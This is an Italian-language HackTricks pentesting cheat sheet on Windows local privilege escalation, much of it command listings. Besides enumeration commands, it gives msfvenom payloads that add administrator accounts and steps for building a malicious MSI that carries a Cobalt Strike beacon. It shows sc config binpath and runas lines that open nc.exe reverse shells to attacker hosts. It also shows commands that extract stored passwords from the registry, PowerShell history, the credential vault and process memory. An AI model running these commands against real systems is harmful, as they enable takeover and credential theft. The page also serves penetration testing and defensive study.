Windows Local Privilege Escalation

Reading time: 59 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Miglior strumento per cercare i vettori di Windows local privilege escalation: WinPEAS

Teoria iniziale di Windows

Access Tokens

Se non sai cosa sono i Windows Access Tokens, leggi la pagina seguente prima di continuare:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Controlla la pagina seguente per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Se non sai cosa sono gli integrity levels in Windows dovresti leggere la pagina seguente prima di continuare:

Integrity Levels

Controlli di sicurezza di Windows

Ci sono diverse componenti in Windows che potrebbero impedire di enumerare il sistema, eseguire eseguibili o addirittura rilevare le tue attività. Dovresti leggere la seguente pagina ed enumerare tutti questi meccanismi di difesa prima di iniziare l'enumerazione per il privilege escalation:

Windows Security Controls

Informazioni di sistema

Enumerazione delle informazioni di versione

Verifica se la versione di Windows ha vulnerabilità note (controlla anche le patch applicate).

bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
bash
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Exploit di versione

Questo site è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la massiccia superficie di attacco che un ambiente Windows presenta.

Sul sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas ha watson incorporato)

Localmente con informazioni del sistema

Repo GitHub di exploits:

Ambiente

Ci sono credenziali/informazioni Juicy salvate nelle variabili d'ambiente?

bash
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Cronologia di PowerShell

bash
ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

File di trascrizione di PowerShell

Puoi imparare come attivarlo in https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, includendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell'esecuzione e i risultati dell'output potrebbero non essere catturati.

Per abilitarlo, segui le istruzioni nella sezione "Transcript files" della documentazione, scegliendo "Module Logging" invece di "Powershell Transcription".

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire:

bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Viene catturato un record completo delle attività e del contenuto dell'esecuzione dello script, assicurando che ogni blocco di codice sia documentato mentre viene eseguito. Questo processo preserva una traccia di audit esaustiva di ogni attività, utile per le analisi forensi e per l'analisi di comportamenti malevoli. Documentando tutte le attività al momento dell'esecuzione, vengono forniti approfondimenti dettagliati sul processo.

bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Gli eventi di log per lo Script Block si trovano nel Windows Event Viewer al percorso: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Per visualizzare gli ultimi 20 eventi puoi usare:

bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Impostazioni Internet

bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unità

bash
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando httpS ma http.

Si inizia controllando se la rete utilizza un WSUS non-SSL eseguendo quanto segue in cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oppure il seguente in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se ricevi una risposta come una delle seguenti:

bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
bash
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" è uguale a 1.

Allora, è sfruttabile. Se l'ultima chiave di registro è uguale a 0, allora la voce WSUS verrà ignorata.

Per sfruttare questa vulnerabilità puoi usare strumenti come: Wsuxploit, pyWSUS - sono script exploit MiTM per iniettare update "finti" nel traffico WSUS non-SSL.

Leggi la ricerca qui:

WSUS CVE-2020-1013

Read the complete report here.
In pratica, questo è il difetto che sfrutta questo bug:

Se abbiamo la possibilità di modificare il proxy del nostro utente locale, e Windows Update usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo il potere di eseguire PyWSUS localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul nostro asset.

Inoltre, poiché il servizio WSUS usa le impostazioni dell'utente corrente, utilizzerà anche il suo store di certificati. Se generiamo un certificato autofirmato per l'hostname WSUS e aggiungiamo questo certificato nello store dei certificati dell'utente corrente, saremo in grado di intercettare sia il traffico HTTP che HTTPS di WSUS. WSUS non usa meccanismi tipo HSTS per implementare una validazione trust-on-first-use sul certificato. Se il certificato presentato è trusted dall'utente e ha l'hostname corretto, verrà accettato dal servizio.

Puoi sfruttare questa vulnerabilità usando lo strumento WSUSpicious (una volta che sarà rilasciato).

KrbRelayUp

Una vulnerabilità di local privilege escalation esiste negli ambienti Windows domain in condizioni specifiche. Queste condizioni includono ambienti in cui LDAP signing non è applicato, gli utenti hanno diritti che permettono loro di configurare la Resource-Based Constrained Delegation (RBCD), e la possibilità per gli utenti di creare computer nel dominio. È importante notare che questi requisiti sono soddisfatti usando le impostazioni predefinite.

Trova l'exploit in https://github.com/Dec0ne/KrbRelayUp

Per maggiori informazioni sul flusso dell'attacco consulta https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If queste 2 chiavi di registro sono abilitate (il valore è 0x1), allora utenti di qualsiasi livello di privilegio possono installare (eseguire) file *.msi come NT AUTHORITY\SYSTEM.

bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

bash
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo exploit/windows/local/always_install_elevated

PowerUP

Usa il comando Write-UserAddMSI di power-up per creare nella directory corrente un Windows MSI binary per elevare i privilegi. Questo script scrive un MSI installer precompilato che richiede l'aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU):

Write-UserAddMSI

Esegui semplicemente il binary creato per ottenere privilegi elevati.

MSI Wrapper

Leggi questo tutorial per imparare come creare un MSI wrapper usando questi strumenti. Nota che puoi avvolgere un file ".bat" se vuoi solo eseguire comandi da riga di comando

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Genera con Cobalt Strike o Metasploit un Windows EXE TCP payload in C:\privesc\beacon.exe
  • Apri Visual Studio, seleziona Create a new project e digita "installer" nella casella di ricerca. Seleziona il progetto Setup Wizard e clicca Next.
  • Dai al progetto un nome, come AlwaysPrivesc, usa C:\privesc per il percorso, seleziona place solution and project in the same directory, e clicca Create.
  • Continua a cliccare Next fino ad arrivare al passo 3 di 4 (scegli i file da includere). Clicca Add e seleziona il Beacon payload che hai appena generato. Poi clicca Finish.
  • Seleziona il progetto AlwaysPrivesc in Solution Explorer e nelle Properties, cambia TargetPlatform da x86 a x64.
  • Ci sono altre proprietà che puoi modificare, come Author e Manufacturer, che possono rendere l'app installata più legittima.
  • Fai click destro sul progetto e seleziona View > Custom Actions.
  • Fai click destro su Install e seleziona Add Custom Action.
  • Doppio click su Application Folder, seleziona il file beacon.exe e clicca OK. Questo assicurerà che il beacon payload venga eseguito non appena l'installer viene avviato.
  • Nelle Custom Action Properties, imposta Run64Bit su True.
  • Infine, compilalo.
  • Se viene mostrato l'avvertimento File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', assicurati di impostare la piattaforma su x64.

MSI Installation

Per eseguire l'installazione del file .msi malevolo in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Per sfruttare questa vulnerabilità puoi usare: exploit/windows/local/always_install_elevated

Antivirus and Detectors

Impostazioni di Audit

Queste impostazioni decidono cosa viene registrato, quindi dovresti prestare attenzione

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, è interessante sapere dove vengono inviati i log

bash
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS è progettato per la gestione delle password dell'Administrator locale, assicurando che ogni password sia unica, casuale e regolarmente aggiornata sui computer uniti a un dominio. Queste password sono memorizzate in modo sicuro in Active Directory e possono essere accessate solo da utenti a cui sono stati concessi permessi sufficienti tramite ACLs, permettendo loro di visualizzare le password degli admin locali se autorizzati.

LAPS

WDigest

Se attivo, le password in plain-text sono memorizzate in LSASS (Local Security Authority Subsystem Service).
Maggiori informazioni su WDigest in questa pagina.

bash
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Protezione LSA

A partire da Windows 8.1, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per bloccare i tentativi da parte di processi non attendibili di leggere la sua memoria o di iniettare codice, rafforzando la sicurezza del sistema.
More info about LSA Protection here.

bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard è stato introdotto in Windows 10. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| More info about Credentials Guard here.

bash
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials sono autenticate dalla Local Security Authority (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un registered security package, le domain credentials per l'utente vengono tipicamente stabilite.
More info about Cached Credentials here.

bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Utenti & Gruppi

Enumerare Utenti & Gruppi

Dovresti verificare se uno dei gruppi a cui appartieni ha permessi interessanti

bash
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Gruppi privilegiati

Se appartieni a qualche gruppo privilegiato potresti essere in grado di elevare i privilegi. Scopri i gruppi privilegiati e come abusarne per elevare i privilegi qui:

Privileged Groups

Manipolazione dei token

Per saperne di più su cosa sia un token in questa pagina: Windows Tokens.
Consulta la pagina seguente per scoprire i token interessanti e come abusarne:

Abusing Tokens

Utenti connessi / Sessioni

bash
qwinsta
klist sessions

Cartelle home

bash
dir C:\Users
Get-ChildItem C:\Users

Politica delle password

bash
net accounts

Ottieni il contenuto degli appunti

bash
powershell -command "Get-Clipboard"

Processi in esecuzione

Permessi di file e cartelle

Prima di tutto, quando elenchi i processi controlla se ci sono password nella riga di comando del processo.
Controlla se puoi sovrascrivere qualche binary in esecuzione o se hai i permessi di scrittura della cartella dei binary per sfruttare possibili DLL Hijacking attacks:

bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Controlla sempre la presenza di electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Controllo dei permessi dei binari dei processi

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verifica dei permessi delle cartelle dei binari dei processi (DLL Hijacking)

bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Estrazione di password dalla memoria

Puoi creare un dump della memoria di un processo in esecuzione usando procdump da sysinternals. Servizi come FTP hanno le credentials in clear text in memory. Prova a eseguire il dump della memoria e a leggere le credentials.

bash
procdump.exe -accepteula -ma <proc_name_tasklist>

Applicazioni GUI insicure

Le applicazioni in esecuzione come SYSTEM possono consentire a un utente di avviare un CMD o di esplorare le directory.

Esempio: "Windows Help and Support" (Windows + F1), cerca "command prompt", clicca su "Click to open Command Prompt"

Servizi

Ottieni un elenco dei servizi:

bash
net start
wmic service list brief
sc query
Get-Service

Permessi

Puoi usare sc per ottenere informazioni su un servizio

bash
sc qc <service_name>

È consigliabile avere il binario accesschk di Sysinternals per verificare il livello di privilegi richiesto per ogni servizio.

bash
accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Si consiglia di verificare se "Authenticated Users" possono modificare qualsiasi servizio:

bash
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Abilitare il servizio

Se riscontri questo errore (per esempio con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puoi abilitarlo usando

bash
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)

Another workaround per questo problema è eseguire:

sc.exe config usosvc start= auto

Modifica del percorso dell'eseguibile del servizio

Nello scenario in cui il gruppo "Authenticated users" possieda SERVICE_ALL_ACCESS su un servizio, è possibile modificare l'eseguibile del servizio. Per modificare ed eseguire sc:

bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Riavvia il servizio

bash
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

I privilegi possono essere elevati tramite varie autorizzazioni:

  • SERVICE_CHANGE_CONFIG: Consente la riconfigurazione del binario del servizio.
  • WRITE_DAC: Abilita la riconfigurazione delle autorizzazioni, permettendo di modificare le configurazioni del servizio.
  • WRITE_OWNER: Consente di acquisire la proprietà e di riconfigurare le autorizzazioni.
  • GENERIC_WRITE: Concede la possibilità di modificare le configurazioni del servizio.
  • GENERIC_ALL: Anche questo concede la possibilità di modificare le configurazioni del servizio.

Per il rilevamento e lo sfruttamento di questa vulnerabilità, può essere utilizzato exploit/windows/local/service_permissions.

Services binaries weak permissions

Controlla se puoi modificare il binario che viene eseguito da un servizio o se hai permessi di scrittura sulla cartella where the binary is located (DLL Hijacking).
Puoi ottenere ogni binario che viene eseguito da un servizio usando wmic (non in system32) e verificare i tuoi permessi usando icacls:

bash
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Puoi anche usare sc e icacls:

bash
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permessi di modifica del service registry

Dovresti verificare se puoi modificare qualsiasi service registry.
Puoi verificare le tue permissions su un service registry eseguendo:

bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Verificare se Authenticated Users o NT AUTHORITY\INTERACTIVE possiedono i permessi FullControl. In tal caso, il binary eseguito dal servizio può essere modificato.

Per cambiare il Path del binary eseguito:

bash
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permessi AppendData/AddSubdirectory del registro dei servizi

Se hai questo permesso su un registro significa che puoi creare sotto-registri a partire da questo. Nel caso dei servizi Windows questo è sufficiente per eseguire codice arbitrario:

AppendData/AddSubdirectory permission over service registry

Percorsi di servizi non racchiusi tra virgolette

Se il percorso di un eseguibile non è racchiuso tra virgolette, Windows proverà a eseguire ogni parte che precede uno spazio.

Ad esempio, per il percorso C:\Program Files\Some Folder\Service.exe Windows proverà a eseguire:

bash
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi integrati di Windows:

bash
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
bash
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
bash
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puoi rilevare e usare exploit su questa vulnerabilità con metasploit: exploit/windows/local/trusted\_service\_path Puoi creare manualmente un binario di servizio con metasploit:

bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Azioni di ripristino

Windows permette agli utenti di specificare azioni da eseguire se un servizio si arresta. Questa funzionalità può essere configurata per puntare a un binary. Se questo binary è sostituibile, potrebbe essere possibile una privilege escalation. Maggiori dettagli sono disponibili nella official documentation.

Applicazioni

Applicazioni installate

Controlla i permessi dei binaries (potresti riuscire a sovrascriverne uno e escalate privileges) e delle cartelle (DLL Hijacking).

bash
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permessi di scrittura

Verifica se puoi modificare qualche config file per leggere un file speciale oppure se puoi modificare qualche binary che verrà eseguito da un account Administrator (schedtasks).

Un modo per trovare permessi deboli su cartelle/file nel sistema è eseguire:

bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
bash
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
bash
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Esecuzione all'avvio

Controlla se puoi sovrascrivere qualche chiave del registro o un binario che sarà eseguito da un altro utente.
Leggi la pagina seguente per saperne di più sulle posizioni autoruns interessanti per l'escalation dei privilegi:

Privilege Escalation with Autoruns

Driver

Cerca possibili driver di terze parti strani/vulnerabili

bash
driverquery
driverquery.exe /fo table
driverquery /SI

Se un driver espone una primitive di lettura/scrittura arbitraria del kernel (comune in IOCTL handlers progettati male), puoi ottenere l'elevazione dei privilegi rubando direttamente un SYSTEM token dalla memoria del kernel. Vedi la tecnica passo‑passo qui:

Arbitrary Kernel Rw Token Theft

PATH DLL Hijacking

Se hai permessi di scrittura all'interno di una cartella presente in PATH potresti riuscire a hijackare una DLL caricata da un processo e elevare i privilegi.

Controlla i permessi di tutte le cartelle presenti in PATH:

bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Per maggiori informazioni su come sfruttare questo controllo:

Writable Sys Path +Dll Hijacking Privesc

Rete

Condivisioni

bash
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifica la presenza di altri computer noti hardcoded nel hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfacce di rete & DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Porte aperte

Controlla la presenza di servizi ristretti dall'esterno

bash
netstat -ano #Opened ports?

Tabella di routing

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabella ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Consulta questa pagina per comandi relativi al Firewall (elencare regole, creare regole, disattivare, disattivare...)

Altri comandi per network enumeration qui

Windows Subsystem for Linux (wsl)

bash
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Il binario bash.exe può anche essere trovato in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se ottieni l'utente root puoi ascoltare su qualsiasi porta (la prima volta che usi nc.exe per ascoltare su una porta ti chiederà via GUI se nc deve essere consentito dal firewall).

bash
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Per avviare facilmente bash come root, puoi provare --default-user root

Puoi esplorare il filesystem WSL nella cartella C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenziali Windows

Credenziali Winlogon

bash
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Gestore credenziali / Windows vault

Da https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
Il Windows Vault memorizza le credenziali utente per server, siti web e altri programmi che Windows può eseguire l'access automatically. A prima vista potrebbe sembrare che gli utenti possano memorizzare le credenziali di Facebook, Twitter, Gmail ecc., in modo da effettuare automaticamente il login tramite i browser. Ma non è così.

Windows Vault memorizza credenziali che Windows può usare per effettuare automaticamente il login degli utenti, il che significa che qualsiasi Windows application that needs credentials to access a resource (server o un sito web) can make use of this Credential Manager & Windows Vault e utilizzare le credenziali fornite invece che gli utenti debbano inserire username e password ogni volta.

A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per loro usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole usare il vault, dovrebbe in qualche modo communicate with the credential manager and request the credentials for that resource dal vault di archiviazione predefinito.

Usa il comando cmdkey per elencare le credenziali memorizzate sulla macchina.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Puoi quindi usare runas con l'opzione /savecred per utilizzare le credenziali salvate. L'esempio seguente esegue un binario remoto tramite una condivisione SMB.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Uso di runas con un set di credenziali fornito.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Nota che mimikatz, lazagne, credentialfileview, VaultPasswordView, o da Empire Powershells module.

DPAPI

La Data Protection API (DPAPI) fornisce un metodo per la cifratura simmetrica dei dati, usata principalmente all'interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto dell'utente o del sistema per contribuire in modo significativo all'entropia.

DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica che viene derivata dai segreti di login dell'utente. In scenari di cifratura di sistema, utilizza i segreti di autenticazione di dominio del sistema.

